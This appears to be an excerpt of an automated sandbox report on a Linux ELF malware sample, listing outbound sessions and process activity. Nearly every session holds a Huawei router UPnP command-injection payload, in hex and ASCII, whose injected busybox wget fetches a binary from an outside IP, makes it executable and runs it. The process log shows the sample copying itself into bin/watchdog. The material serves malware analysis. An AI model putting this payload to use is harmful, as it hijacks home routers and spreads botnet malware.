2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	39008	197.67.20.98	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.818026066 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	48254	41.114.115.214	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.818051100 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	56062	41.219.12.182	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.818089962 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	51300	157.118.102.239	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.818119049 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	50458	197.185.58.243	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.818172932 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	45166	41.253.96.70	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.818176985 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	50886	84.84.190.161	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.818288088 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	35646	41.165.0.32	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.818288088 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	45514	157.82.15.33	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.818295956 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	51296	197.35.116.111	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.818295956 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: bykReYf85u.elf PID: 5484, Parent PID: 5406

General

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/tmp/bykReYf85u.elf
Arguments:	/tmp/bykReYf85u.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/tmp/bykReYf85u.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv /tmp/bykReYf85u.elf bin/watchdog; chmod 777 bin/watchdog"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/usr/bin/rm
Arguments:	rm -rf bin/watchdog
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
